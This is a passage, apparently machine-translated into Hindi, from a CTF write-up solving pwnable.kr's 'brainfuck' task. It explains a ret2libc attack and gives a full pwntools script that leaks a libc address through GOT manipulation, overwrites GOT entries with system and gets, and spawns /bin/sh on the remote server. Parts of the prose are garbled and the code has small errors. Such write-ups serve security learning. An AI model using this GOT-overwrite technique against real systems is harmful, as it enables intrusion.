समस्या को हल करने में pwnable.kr 22 - ब्रेनफक। Ret2libc हमला

इस लेख में, हम pwnable.kr साइट से 22 वें कार्य को हल करेंगे और हमलों की श्रेणी का पता लगाएंगे , जिसमें GOT में पते को फिर से लिखना है जो हमें लाइब्रेरी से आवश्यक फ़ंक्शन का पता देता है।

लाइब्रेरी हमले पर लौटें

लाइब्रेरी अटैक (रिटर्न-टू-लीबेक अटैक) की वापसी बफर ओवरफ्लो से संबंधित कंप्यूटर हमलों के प्रकारों में से एक है जब स्टैक पर एक फ़ंक्शन का रिटर्न एड्रेस प्रोग्राम में किसी अन्य फ़ंक्शन के पते से बदल दिया जाता है, और स्टैक के अगले हिस्से को कॉल किए गए फ़ंक्शन के मापदंडों को लिखा जाता है। यह तकनीक किसी हमलावर को प्रोग्राम में दुर्भावनापूर्ण कोड इंजेक्ट करने की आवश्यकता के बिना लाइब्रेरी में किसी भी मौजूदा फ़ंक्शन को करने की अनुमति देती है।

लिनक्स में एक साझा लिबेक लाइब्रेरी है जो C और POSIX मानक फ़ंक्शंस प्रदान करती है, जैसे कि सिस्टम () मनमानी कमांड को निष्पादित करने के लिए। ओएस के विंडोज परिवार में इसी तरह के पुस्तकालय मौजूद हैं। यद्यपि एक हमलावर किसी भी पते पर कूदने के लिए एक कार्यक्रम को मजबूर कर सकता है, अधिकांश प्रोग्राम libc (इससे जुड़ा हुआ) का उपयोग करते हैं, इसमें मनमाने आदेशों को लॉन्च करने के लिए सुविधाजनक कार्य हैं। इसलिए, मानक पुस्तकालय के कार्य ऐसे कारनामों का सबसे अधिक संभावित लक्ष्य हैं, जिन्होंने हमलों के वर्ग को नाम दिया।

हॉरक्रक्स खोज का समाधान

हम दूसरा खंड शुरू करते हैं। मैं तुरंत कहूंगा कि यह पहले की तुलना में अधिक कठिन है और हमें अनुप्रयोगों के स्रोत कोड के साथ प्रदान नहीं किया गया है। यहां चर्चा के बारे में मत भूलना। चलिए शुरू करते हैं।

हस्ताक्षर मस्तिष्क बकवास के साथ आइकन पर क्लिक करें। वे हमें कनेक्ट करने के लिए पता और पोर्ट देते हैं, स्वयं प्रोग्राम, इसके लिए libc लाइब्रेरी और बताते हैं कि यह एक ब्रेनफैक भाषा एमुलेटर है।



वे सब कुछ डाउनलोड करें जो वे हमें देते हैं, बाइनरी की जांच करें। यह एक 32-बिट योगिनी है, इसलिए हम आईडीए प्रो में कार्यक्रम को विघटित करते हैं।



मुख्य कार्य में कोई भेद्यता नहीं हैं। स्मृति का आवंटन और चर s में दर्ज वर्णों की संख्या को नियंत्रित किया जाता है। इससे पहले, पी पॉइंटर को इनिशियलाइज़ किया जाता है। आइए एक नजर डालते हैं ब्रेनफक फंक्शन पर।



यह फ़ंक्शन हमारे द्वारा दर्ज किए गए स्ट्रिंग के प्रत्येक चरित्र के लिए उपयोग किया जाता है। इसमें वर्णों के आधार पर क्रियाओं का एक क्रम होता है। आदेशों का एक पूरा सेट इस तरह दिखता है:

• +: p पर स्थित मान में एक जोड़ें;
• : मानक मानक से एक और चरित्र लेता है और इसे पी पर ले जाता है;
• - - p पर मान से एक घटाता है;
• ।: पते पी पर चरित्र प्रदर्शित करता है;
• <: पी से घटाना;
• >: पी में जोड़ता है।

इस प्रकार, हमारे कार्य का समाधान पॉइंटर पी में हेरफेर के माध्यम से होगा। इसका शुरुआती पता लगाएं। मुख्य फ़ंक्शन में, चर टेप का पता p में दर्ज किया गया है, अर्थात 0x804a0a0।



इसी समय, got.plt अनुभाग 0x804a000 पर स्थित है, उपयोग किए गए कार्यों के पते लिबेक लाइब्रेरी में संग्रहीत किए जाते हैं। जीओटी और पीएलटी के बारे में, मैंने पहले ही यहां लिखा है ।



चूंकि पॉइंटर पी में हेरफेर करके हम जीओटी को प्राप्त कर सकते हैं, हम रिटेलिबेक जैसे हमले को लागू कर सकते हैं। ऐसा करने के लिए, हमें लिबास से सिस्टम के पते () फ़ंक्शन के लिए उपयोग किए जाने वाले फ़ंक्शन के पते को फिर से लिखना होगा (हमें एक पुस्तकालय भी दिया गया था)।

इस प्रकार, निम्नलिखित हमला वेक्टर उभरता है:

1. सिस्टम फ़ंक्शन के पते पर पते को फिर से लिखना;
2. प्राप्त करने के लिए यादगार पते को फिर से लिखना;
3. पुछार पते को फिर से लिखना।

इससे क्या होगा: ऊपर बताए गए चरणों को पूरा करने के बाद, जब पुशर फ़ंक्शन को कॉल किया जाता है, तो मुख्य फ़ंक्शन को कॉल किया जाएगा, जो मेमसेट के बजाय कॉल करेगा और स्ट्रिंग में दर्ज किए गए स्ट्रिंग को पढ़ें। जिसके बाद, फ़िज़ेट्स के बजाय, एक सिस्टम कहा जाएगा, जो स्टैक से एक तर्क उठाएगा (जो कि, हमारे द्वारा दर्ज की गई रेखा है)।

आइए इसे लागू करें। सबसे पहले, एक टेम्प्लेट बनाएं जिसमें पॉइंटर और फ़ंक्शंस के पते हों:

from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_puts = 0x804a018 p_putchar = 0x804a030 p_main = 0x8048671 

अब हम एक फ़ंक्शन लिखेंगे जो पॉइंटर को हमारे द्वारा आवश्यक चरणों की संख्या तक ले जाएगा:

 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) 

एक फ़ंक्शन जो 4 बाइट्स पढ़ता है:

 def readVar(): return ".>"*4 + "<"*4 

एक फ़ंक्शन जो 4 बाइट्स स्वीकार करेगा और लिखेगा:

 def writeVar(): return ",>"*4 + "<"*4 

अब हम लोड लिखते हैं। यह सरल है - हम फिट पते पर जाते हैं, पढ़ते हैं (बाद में मैं कहूंगा क्यों), फिर से लिखना ... हम मेमसेट पते पर जाते हैं - हम फिर से लिखते हैं, हम पुचर पते पर जाते हैं - हम फिर से लिखते हैं। सब कुछ विचार के अनुसार है।

 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' 

तो आखिर क्यों पढ़ते हैं पता? चूंकि यह प्राप्त है। इसलिए, हम संबंधित लिबक लाइब्रेरी के लिए फिट का पता पढ़ते हैं। चूँकि हमारे पास बस एक libc पुस्तकालय (असंबंधित) है, तो एक ही फ़ंक्शन के पते को लिंक्ड लाइब्रेरी में फ़ंक्शन के पते से असंबंधित लाइब्रेरी में घटाकर, हम आधार का निर्धारण करेंगे, अर्थात, वह पता जिसमें से लाइब्रेरी को m फ़ाइल (लाइब्रेरी कोड की शुरुआत) से जोड़ा गया है। फिर एक असंबद्ध पुस्तकालय में किसी भी फ़ंक्शन के ऑफसेट को आधार से जोड़ने पर, हम पहले से ही कनेक्ट किए गए इस फ़ंक्शन के पते पर पहुंच जाएंगे। यही है, हम बाइनरी से एक फ़ंक्शन को कॉल करेंगे जिसे परिभाषित नहीं किया गया था ...

तो, यह लोड हमें लिंक्ड लाइब्रेरी में फ़ंक्शन का पता देगा। आइए उसका पता अनलिंक करें।

 libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] 

और अब, सर्वर की प्रतिक्रियाओं को देखते हुए, हम डेटाबेस खोज लेंगे।

 r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) 

अब हमें आधार को ध्यान में रखते हुए अन्य कार्यों के पते मिलते हैं।

 system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] 

और हमें अपने विचार का एहसास है।

 r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive() 

हम वांछित ध्वज प्राप्त करते हैं और pwnable.kr पर कार्यों का दूसरा भाग शुरू करते हैं।



आप टेलीग्राम पर हमसे जुड़ सकते हैं। अगली बार हम ढेर अतिप्रवाह से निपटेंगे।